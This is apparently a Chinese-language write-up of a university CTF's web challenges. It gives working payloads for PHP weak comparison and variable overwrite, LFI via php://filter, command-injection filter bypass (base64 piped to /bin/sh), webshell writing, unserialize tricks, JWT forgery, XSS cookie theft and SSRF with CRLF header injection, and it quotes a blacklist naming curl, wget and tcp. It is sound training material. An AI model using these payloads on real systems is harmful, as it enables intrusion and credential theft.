Signin#
考点:HTTP,略
Flag: CNSS{Y0u_kn0w_GET_and_POST}
D3buger#
考点:F12,略
Flag: CNSS{Wh4t_A_Sham3le55_thI3f}
GitHacker#
考点:Git泄露
Git_Extract直接出,略
Flag: CNSS{Ohhhh_mY_G0d_ur3_real_G1th4ck3r}
更坑的数学题#
考点:脚本提交,略
Flag: CNSS{w#y_5o_f4st?}
Ezp#p#
考点:md5弱类型比较、变量覆盖
开局给出源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| <?php
error_reporting(0);
require_once("flag.php");
show_source(__FILE__);
$pass = '0e0';
$md55 = $_COOKIE['token'];
$md55 = md5($md55);
if(md5($md55) == $pass){
if(isset($_GET['query'])){
$before = $_GET['query'];
$med = 'filter';
$after = preg_replace(
"/$med/", '', $before
);
if($after === $med){
echo $flag1;
}
}
$verify = $_GET['verify'];
}
extract($_POST);
if(md5($verify) === $pass){
echo $$verify;
}
?>
|
很容易发现前面要个双md5结果=='0e0'
的字符串,直接写脚本爆破,以0e
开头且后续全为数字的结果均可,下面放几组数据:
- GVFZGmgch9qESfNw54cKdTNF0 → 0e469838894333987269972781781986
- 94Cn9XdCvqCRdmuIPax4RhNbO → 0e379134038691491679445959388876
- TnNWN7CJNeEwnDUufjFOYfghF → 0e395676296685910233596520673732
- GLStMewt5teWh1aDrhlo8cmkd → 0e357637617245137951454124773614
- jTg6WQHGwlAD6c1bMjpTOOdod → 0e268005955025320285425676612293
过了之后是一个正则匹配替换,双写filfilterter
可绕过
最后是强比较,通过extract()
提交POST数据将$verify
和$pass
全部覆盖为数组,即可绕过
Flag: CNSS{B4by_9h9_Tr1ck}
China Flag#
考点:HTTP 头
验证了Referer、XFF,然后有点小脑洞,验证了Accept-Language的值只能包含zh-cn
Payload:
1
| curl http://81.68.109.40:30002/china.php -H 'Referer: http://81.68.109.40:30002/index.php' -H 'X-Forwarded-For: 127.0.0.1' -H 'Accept-Language: zh-cn'
|
Flag: CNSS{ohHHHHH~~~Ch1ne5e_Kungfu!}
BlackPage#
考点:PHP伪协议、RCE读取文件
首页源码发现注释:
1
2
3
4
5
6
7
8
9
10
11
| <!-- \<\?phps
$file = $_GET["file"];
$blacklist = "(**blacklist**)";
if (preg_match("/".$blacklist."/is",$file) == 1){
exit("Nooo,You can't read it.");
}else{
include $file;
}
//你能读到 mybackdoor.php 吗?
---->
|
然后就去读mybackdoor.php,用的PHP伪协议:php://filter/read=convert.base64-encode/resource=mybackdoor.php
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
error_reporting(0);
function blacklist($cmd){
$filter = "(\\<|\\>|Fl4g|php|curl| |0x|\\\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)";
if (preg_match("/".$filter."/is",$cmd)==1){
exit('Go out! This black page does not belong to you!');
}
else{
system($cmd);
}
}
blacklist($_GET['cmd']);
?>
|
使用Base64绕过关键字过滤,使用%09
绕过空格过滤,RCE拿flag,Payload:echo%09Y2F0IC9GbDRnX2lzX2hlcmU=|base64%09-d|/bin/sh
Flag: CNSS{0ops!Y0u_G0t_My_Bl4ckp4ge!}
太极掌门人#
考点:PHP伪协议写文件、条件竞争
开局拿源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| <?php
error_reporting(0);
show_source(__FILE__);
function deleteDir($path) {
if (is_dir($path)) {
$dirs = scandir($path);
foreach ($dirs as $dir) {
if ($dir != '.' && $dir != '..') {
$sonDir = $path.'/'.$dir;
if (is_dir($sonDir)) {
deleteDir($sonDir);
@rmdir($sonDir);
} elseif ($sonDir !== './index.php'
&& $sonDir !== './flag.php') {
@unlink($sonDir);
}
}
}
@rmdir($path);
}
}
$devil = '<?php exit;?>';
$goods = $_POST['goods'];
file_put_contents($_POST['train'], $devil . $goods);
sleep(1);
deleteDir('.');
?>
|
很明显,由于exit;
的存在,不能直接写入任意代码。于是想到伪协议php://filter/write=convert.base64-decode/resource=shell.php
,需要注意的是这里填入Payload的时候需要添加一个前缀字符保证Base64能够正常解码
写shell之后使用脚本或手动访问就能拿到输出了(1s的时间还是可以直接访问的)
参考:https://www.cnblogs.com/Pinging/p/8597521.html
// TODO: 似乎还有其他解法
Flag: CNSS{F45ter_7han_Re5per}
bestLanguage#
考点:数组绕过preg_match
(?)、Fast Destruct
开局拿源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| <?php
error_reporting(0);
class superGate{
public $gay = true;
function __destruct(){
echo file_get_contents("/flag");
die();
}
}
$p = $_GET['p'];
$honey = unserialize($p);
if(preg_match("/superGate/i", serialize($honey))){
echo "no";
throw Exception();
}
show_source(__FILE__);
|
Fast Destruct,即构造畸形的序列化字符串来提前产生报错退出从而后续preg_match
函数就不会被执行,直接出flag
Payload:p=O:9:"superGate":1:{s:3:"gay1";b:1;}
参考:https://zhuanlan.zhihu.com/p/405838002
// TODO: 出题人的预期解是数组绕过,但目前还没弄明白咋回事
Flag: cnss{Array_Tr1ck_is_use4}
To_be_Admin#
考点:JWT越权、/proc目录
首页只有一个按钮,点击跳转到/admin
,提示你是Guest,要成为Admin才能拿flag。
于是摸Cookie,摸到token字段,很明显的JWT:
丢进https://jwt.io分析,修改Payload数据为admin,直接打过去发现验证了签名,所以必须找到签名的那个key
此时发现首页下面的一行小字:
Access /read to read file what you want.
最终通过/proc/self/environ
读取到环境变量,找到了KEY=nWMfdan2349r*fn9dMz
,修改数据签名后打过去获得flag
Flag: CNSS{00000k_Y0u_are_Adm1n_n0w}
To_be_Admin_Again#
考点:serialize_handler,略,参见链接
Flag: CNSS{Admin_1s_w4tch1ng_y0u}
To_be_Admin_Again_and_Again#
考点:XSS、CSRF、哈希爆破
题干中信息如下,很明显看出是CSRF:
你的每一条留言都会由管理员 (的 bot) 亲自查看,快写下你想对 CNSS 说的话吧!
很容易发现Name输入框和Email输入框存在XSS,通过Preview按钮可以看的更直观一些
之后就是注入一个<form>
,利用JS自动提交Cookie到自己的服务器上面,随后Admin就会访问提交的页面,Cookie就会直接打到服务器上
然后使用Cookie访问/admin
获得flag
Flag: CNSS{Admin_1s_AAAAAAAAAngry}
To_be_Admin_Again_and_Again_and_Again#
考点:SSRF、Linux /proc
文件系统、CVE-2019-9740
(唯一一道有内网的题,出题人把/proc
玩明白了属于是
主页提示/request
接口,可以访问一个链接返回结果:
稍微试了几个协议,发现只有http://
、https://
和file://
可以用,于是借助/proc/self/cwd
可以读到app.py源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| import urllib.parse
import urllib.request
from flask import Flask, request, render_template
app = Flask(__name__)
SCHEME = ['http', 'https', 'file']
@app.route('/')
def index():
return render_template('index.html')
@app.route('/request')
def req():
url = request.args.get('url')
if url:
if urllib.parse.urlparse(url).scheme not in SCHEME:
return 'Invalid scheme'
with urllib.request.urlopen(url) as f:
return f.read()
else:
return 'Please enter a URL'
if __name__ == '__main__':
app.run('0.0.0.0')
|
至此卡住,因为除了这个以外并没有翻到其他有价值的信息和其他的接口。倒是搜索了一下代码发现Python urllib里面这个urlopen()
方法有一个CRLF注入的CVE,也就是CVE-2019-9740
因为题目也要求不能使用扫描器,所以也没有去扫描本机的端口(至此并没有想起SSRF还可以打内网)
直到某一天突然被另一个师傅点醒可以打内网,这个时候才想起接着去翻/proc
,发现/proc/net
可以查看网络相关的状况。查看路由表/proc/net/route
,发现只有去网关的路由;TCP连接/proc/net/tcp
只有Flask与外部IP的连接;最后查看ARP表/proc/net/arp
,在一堆00:00:00:00:00:00
中发现了一个看起来挺合理的MAC,对应的IP是172.16.233.233
(看着就很可疑)
考虑到Flask默认监听5000端口,且题目不要求使用扫描器,所以访问一下看看,果然有东西:
Try /source ?
访问/source
拿到源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
return 'Try /source ?'
@app.route('/source')
def source():
with open('app.py') as f:
return f.read()
@app.route('/admin')
def admin():
c = request.cookies.get('admin')
if c and c == '6a9e47ca067b07047e3d571512ec4f82':
with open('/flag') as f:
return f.read()
else:
return 'Only admin can read the flag'
if __name__ == '__main__':
app.run('0.0.0.0')
|
发现/admin
接口,是验了一个Cookie的值,但是很明显目前SSRF限制死了协议类型是没法带Cookie过去的,所以唯一的思路就是之前摸到的CVE-2019-9740,借助换行符来强行注入一个HTTP Cookie头,就可以实现目的了。最终Payload:/request?url=http://172.16.233.233:5000/admin%20HTTP/1.1%0d%0aCookie:%20admin=6a9e47ca067b07047e3d571512ec4f82;%0d%0aTest:%20123
,这个Payload最终得到的HTTP Header应该是下面这样的:
1
2
3
4
5
| GET /admin HTTP/1.1
Cookie: admin=6a9e47ca067b07047e3d571512ec4f82;
Test: 123 HTTP/1.1
Host: 172.16.233.233:5000
...
|
CVE-2019-9740复现:https://www.freesion.com/article/7460341704/
Flag:CNSS{ssrf&urllib_ar3_dddddd4nger0us}
King of PHP#
考点:PHP源码泄露、PHP Extension逆向
开局拿源码:
1
2
3
4
5
6
7
8
| <?php
if (isset($_GET['secret'])) {
you_may_need_ida($_GET['secret']);
} else {
highlight_file(__FILE__);
}
// Why not try html.tar.gz
|
然后就是按照注释提示去下载整个站的源码,解压出来有一个this_may_help.php
内容是phpinfo()
,以及一个hello.so
文件
查看phpinfo()
,发现这个hello.so
是个PHP扩展,并且以及加载进了Web环境中:
所以接下来要做的就是搞懂you_may_need_ida()
干了啥,直接IDA走起,发现对应C语言函数zif_you_may_need_ida()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| __int64 __fastcall zif_you_may_need_ida(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // r12
__int64 v4; // [rsp+8h] [rbp-50h] BYREF
__int64 v5; // [rsp+10h] [rbp-48h] BYREF
__int64 v6; // [rsp+18h] [rbp-40h] BYREF
char v7[24]; // [rsp+20h] [rbp-38h] BYREF
unsigned __int64 v8; // [rsp+38h] [rbp-20h]
v8 = __readfsqword(0x28u);
if ( *(_DWORD *)(a1 + 44) != 1 )
return zend_wrong_parameters_count_error(1LL, 1LL);
if ( *(_BYTE *)(a1 + 88) == 6 )
{
v4 = *(_QWORD *)(a1 + 80);
LABEL_4:
some_magic();
v1 = php_base64_decode_ex(v4 + 24, *(_QWORD *)(v4 + 16), 0LL);
v5 = v1 + 24;
v2 = *(_QWORD *)(v1 + 16) + v1 + 24;
v6 = php_var_unserialize_init();
php_var_unserialize(v7, &v5, v2, &v6);
php_var_dump(v7, 0LL);
return v8 - __readfsqword(0x28u);
}
if ( (unsigned int)zend_parse_arg_str_slow(a1 + 80, &v4) )
goto LABEL_4;
return zif_you_may_need_ida_cold(v4);
}
|
最一开始看这个代码的时候我是比较懵逼的,因为前面的两个if判断里面的偏移量我根本不知道代表的是什么,直到我自己写了一个PHP Extension,一对比才发现,核心代码只有这么几行,其他的都只是PHP用于处理参数的和其他的一些判断逻辑:
1
2
3
4
5
6
7
8
9
10
| some_magic();
// PHPAPI zend_string *php_base64_decode_ex(const unsigned char *str, size_t length, zend_bool strict)
v1 = php_base64_decode_ex(v4 + 24, *(_QWORD *)(v4 + 16), 0LL);
v5 = v1 + 24;
v2 = *(_QWORD *)(v1 + 16) + v1 + 24;
v6 = php_var_unserialize_init();
// PHPAPI int php_var_unserialize(zval *rval, const unsigned char **p, const unsigned char *max, php_unserialize_data_t *var_hash);
php_var_unserialize(v7, &v5, v2, &v6);
// PHPAPI void php_var_dump(zval *struc, int level);
php_var_dump(v7, 0LL);
|
接着通过对比结合对应的函数定义,很容易看出来一些偏移量的指代值:
v4 + 24
:具体的数据值v4 + 16
:数据的长度
所以这段代码用PHP表示起来就是:
1
2
3
4
| <?php
$tmp = $_GET['secret'];
some_magic(&$tmp);
var_dump(unserialize(base64_decode($tmp)));
|
接下来看some_magic()
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| void __fastcall some_magic(__int64 a1)
{
unsigned __int64 i; // rdx
char v2; // al
if ( *(_QWORD *)(a1 + 16) )
{
for ( i = 0LL; *(_QWORD *)(a1 + 16) > i; ++i )
{
while ( 1 )
{
v2 = *(_BYTE *)(a1 + i + 24);
if ( (unsigned __int8)(v2 - 65) > 0x19u )
break;
v2 = -101 - v2;
LABEL_4:
*(_BYTE *)(a1 + i++ + 24) = v2;
if ( *(_QWORD *)(a1 + 16) <= i )
return;
}
if ( (unsigned __int8)(v2 - 97) > 0x19u )
{
if ( (unsigned __int8)(v2 - 48) > 9u )
{
if ( v2 == 43 )
{
v2 = 47;
}
else if ( v2 == 47 )
{
v2 = 43;
}
}
else
{
v2 = 105 - v2;
}
goto LABEL_4;
}
*(_BYTE *)(a1 + i + 24) = -37 - v2;
}
}
}
|
能够看出是在对字符串进行一个遍历和处理替换的过程。代码的可读性很差,所以我的处理方法是直接复制然后传参进去执行(对于一些数据类型需要进行对应的修改),看看不同的字符最终的处理结果是什么,输出如下:
1
2
3
4
5
6
7
8
9
| char str1[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890=/+";
char* str = str1;
printf("Before: %s\n", str);
some_magic(str);
printf("After : %s\n", str);
// Output:
// Before: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890=/+
// After : zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA8765432109=+/
|
很明显就是做了一个字符的代换,是存在一个一对一的关系的,所以接下来的事情就很简单了,写一个脚本,传一个stdClass试试看:
1
2
3
4
5
| before = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890=/+"
after = "zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA8765432109=+/"
data = "Tzo4OiJzdGRDbGFzcyI6MTp7czoxOiJiIjtzOjE6ImMiO30="
res = "".join([after[before.index(char)] for char in data])
print(data, res)
|
符合预期。
在这里又卡住了一阵子,因为只有反序列化的操作也没法进行任何的利用,只能再去那个Extension里面翻一翻,果然又翻到了一个类Hello
:
1
2
3
4
5
6
7
8
9
10
11
12
13
| __int64 zm_startup_hello()
{
__int64 v0; // rax
_BYTE _0[472]; // [rsp+0h] [rbp+0h] BYREF
*(_QWORD *)&_0[456] = __readfsqword(0x28u);
memset(_0, 0, 0x1C8uLL);
*(_QWORD *)&_0[8] = zend_string_init_interned("Hello", 5LL, 1LL);
*(_QWORD *)&_0[432] = &hello_methods;
v0 = zend_register_internal_class(_0);
zend_declare_property_string(v0, "name", 4LL, "/etc/passwd", 4LL);
return 0LL;
}
|
不难看出注册了一个类,这个类里面只有一个属性值名为name
,默认值为/etc/passwd
,是一个私有属性(对应宏ZEND_ACC_PRIVATE
)。还原为PHP代码如下:
1
2
3
| class Hello {
private $name = "/etc/passwd";
}
|
于是将这个类序列化后输出,发现可以读取对应文件,于是将name
值改为/flag
即可拿到flag。Payload:secret=Gal5LrQawTIWyTUaxbR3NGk2xalcLrQrRqgaLqV3RnNrL69=
参考:
Flag: CNSS{PHP_1s_th3_BEST_langu4ge}
WinWinWinWin#
考点:内网渗透
(都是靠回忆写的, 毕竟只拿下了Web)
开局一个GreenCMS,基于ThinkPHP3.2.1,给出源码,根目录下有个xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.php
是一个一句话,提示文件名是随机的32位字符,尝试include这个文件来Getshell。
收群友启发,用D盾扫了一下源码,扫到敏感接口
1
2
3
4
5
6
| public function b136ee6c797c1a851260b9c1ab5ff414()
{
if (isset($_GET['8c7dd922ad47494fc02c388e12c00eac'])) {
require_once $_GET['8c7dd922ad47494fc02c388e12c00eac'];
};
}
|
加上这台机器是Windows机器,结合一个Windows APIFindFirstFile
的一些特性(参考读DEDECMS找后台目录有感_吾爱漏洞 (52bug.cn))就能够读到根目录下的那个一句话,从而实现Getshell。
然后进去看发现是个Windows 10,普通域内用户cnss\pcuser
,所以尝试提权,然后尝试失败
扫内网,有一台DC,一台Exchange和一台MSSQL,IP不记得了
然后就没有然后了,而且搭建的环境也老崩,等我再想去看看的时候环境已经关掉了